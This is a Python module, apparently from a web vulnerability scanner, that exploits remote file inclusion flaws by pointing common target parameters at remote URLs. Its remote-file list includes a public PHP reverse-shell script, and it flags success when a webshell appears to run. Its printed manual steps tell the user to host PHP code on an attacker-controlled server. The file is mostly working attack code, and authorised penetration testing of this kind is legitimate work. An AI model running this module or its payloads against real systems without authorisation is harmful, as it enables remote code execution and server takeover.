Files

267 lines
10 KiB
Python
Raw Permalink Normal View History

2025-03-09 19:44:06 +08:00
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
RFI远程文件包含漏洞利用模块
"""
import logging
import re
import urllib.parse
import random
import string
import base64
import requests
logger = logging.getLogger('xss_scanner')
class RFIExploit:
"""RFI漏洞利用类"""
def __init__(self, http_client):
"""
初始化RFI漏洞利用模块
Args:
http_client: HTTP客户端对象
"""
self.http_client = http_client
# 远程测试文件URL列表
self.remote_test_files = [
"http://www.google.com/humans.txt",
"https://www.bing.com/robots.txt",
"https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/phpinfo.php",
"https://raw.githubusercontent.com/tennc/webshell/master/php/php-reverse-shell.php"
]
# RFI测试代码片段
self.test_code_snippets = [
"<?php echo 'RFI_TEST_'.rand(1000,9999); ?>",
"<?php echo md5('RFI_TEST'); ?>",
"<?php echo base64_encode('RFI_TEST_'.time()); ?>",
"<?php phpinfo(); ?>"
]
# 远程测试代码的可能托管服务
self.remote_code_hosts = [
"https://pastebin.com/raw/",
"https://gist.githubusercontent.com/raw/",
"https://raw.githubusercontent.com/"
]
# 常见参数名
self.common_parameters = [
"file",
"page",
"url",
"uri",
"path",
"filepath",
"load",
"include",
"require",
"doc",
"document",
"folder",
"root",
"cont",
"content",
"layout",
"mod",
"module",
"template"
]
def exploit(self, vulnerability):
"""
利用RFI漏洞
Args:
vulnerability: 漏洞信息
Returns:
dict: 利用结果
"""
logger.info(f"尝试利用RFI漏洞: {vulnerability['url']}")
url = vulnerability.get('url')
parameter = vulnerability.get('parameter')
payload = vulnerability.get('payload', '')
if not url or not parameter:
return {
'success': False,
'message': '缺少必要的漏洞信息(URL或参数名)',
'data': None
}
# 尝试远程文件测试
for remote_url in self.remote_test_files:
result = self._try_remote_file(url, parameter, remote_url)
if result and result['success']:
return result
# 生成随机标记用于验证
verification_mark = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
logger.info(f"生成验证标记: {verification_mark}")
# 如果远程文件测试不成功,尝试创建一个自定义的远程测试文件
# 实际应用中需要一个可控的Web服务器来托管这些文件
# 这里只是演示性代码
test_code = f"<?php echo 'RFI_VERIFICATION_{verification_mark}'; ?>"
# 返回结果
# 注意:实际利用需要真实的远程服务器来托管恶意代码
return {
'success': False,
'message': '在实际环境中需要一个可控的远程Web服务器托管PHP代码来完成RFI漏洞利用',
'data': {
'verification_code': test_code,
'parameter': parameter,
'url': url
},
'poc': f"要验证RFI漏洞请在你控制的Web服务器托管包含 '{test_code}' 的PHP文件然后设置URL参数 {parameter}={{'你的PHP文件URL'}}",
'manual_steps': [
"1. 在你控制的Web服务器上创建一个PHP文件内容为: " + test_code,
"2. 确保该PHP文件可通过HTTP/HTTPS访问",
f"3. 构造URL: {url}?{parameter}=http://your-server.com/your-file.php",
f"4. 如果响应中包含 'RFI_VERIFICATION_{verification_mark}'则确认存在RFI漏洞"
]
}
def _try_remote_file(self, url, parameter, remote_url):
"""
尝试包含远程文件
Args:
url: 目标URL
parameter: 参数名
remote_url: 远程文件URL
Returns:
dict: 利用结果
"""
try:
logger.info(f"尝试包含远程文件: {remote_url}")
# 构建RFI测试URL
parsed_url = urllib.parse.urlparse(url)
query_params = dict(urllib.parse.parse_qsl(parsed_url.query))
query_params[parameter] = remote_url
# 重建查询字符串
new_query = urllib.parse.urlencode(query_params)
new_url = urllib.parse.urlunparse((
parsed_url.scheme,
parsed_url.netloc,
parsed_url.path,
parsed_url.params,
new_query,
parsed_url.fragment
))
# 先获取远程文件内容,以便后续比较
try:
remote_response = requests.get(remote_url, timeout=5)
if not remote_response.ok:
logger.warning(f"无法获取远程文件内容: {remote_url}")
return None
remote_content = remote_response.text
logger.info(f"成功获取远程文件内容,长度: {len(remote_content)} 字节")
# 获取远程文件的特征以便检测
# 提取特征最多50个字符
feature_length = min(50, len(remote_content))
if feature_length > 0:
remote_feature = remote_content[:feature_length]
else:
logger.warning("远程文件内容为空")
return None
except Exception as e:
logger.error(f"获取远程文件内容时出错: {str(e)}")
return None
# 发送包含请求
response = self.http_client.get(new_url)
# 检查响应是否包含远程文件内容
if response and response.status_code == 200:
# 检查响应中是否包含远程文件的特征
if remote_feature and remote_feature in response.text:
logger.info(f"成功包含远程文件,发现特征: {remote_feature[:20]}...")
return {
'success': True,
'message': f'成功利用RFI漏洞包含远程文件: {remote_url}',
'data': {
'remote_url': remote_url,
'parameter': parameter,
'feature_found': remote_feature[:20] + ('...' if len(remote_feature) > 20 else '')
},
'poc': new_url
}
elif "phpinfo" in remote_url.lower() and "PHP Version" in response.text and "PHP License" in response.text:
# 特殊检测: phpinfo()
logger.info("成功包含远程PHP文件执行了phpinfo()")
return {
'success': True,
'message': '成功利用RFI漏洞包含远程PHP文件并执行了phpinfo()',
'data': {
'remote_url': remote_url,
'parameter': parameter,
'php_version': self._extract_php_version(response.text)
},
'poc': new_url
}
elif "shell" in remote_url.lower() and "system" in response.text and "exec" in response.text:
# 特殊检测: 可能的webshell
logger.info("成功包含远程PHP文件可能是webshell")
return {
'success': True,
'message': '成功利用RFI漏洞包含远程PHP文件(可能是webshell)',
'data': {
'remote_url': remote_url,
'parameter': parameter,
'warning': '检测到可能包含危险函数的代码'
},
'poc': new_url
}
except Exception as e:
logger.error(f"尝试包含远程文件时出错: {str(e)}")
return None
def _extract_php_version(self, phpinfo_output):
"""
从phpinfo()输出中提取PHP版本
Args:
phpinfo_output: phpinfo()函数的输出
Returns:
str: PHP版本
"""
# 尝试提取PHP版本
version_match = re.search(r"PHP Version[\s]*[=>]*[\s]*([0-9.]+)", phpinfo_output)
if version_match:
return version_match.group(1)
return "未知"
def _create_remote_test_file(self, test_code):
"""
创建远程测试文件
Args:
test_code: 测试代码
Returns:
str: 远程文件URL
"""
# 在实际应用中这个函数应该将测试代码上传到可控的Web服务器
# 并返回可访问的URL
# 这里仅作为演示返回一个假的URL
logger.warning("创建远程测试文件功能需要实际的Web服务器支持")
return "http://example.com/test_rfi.php"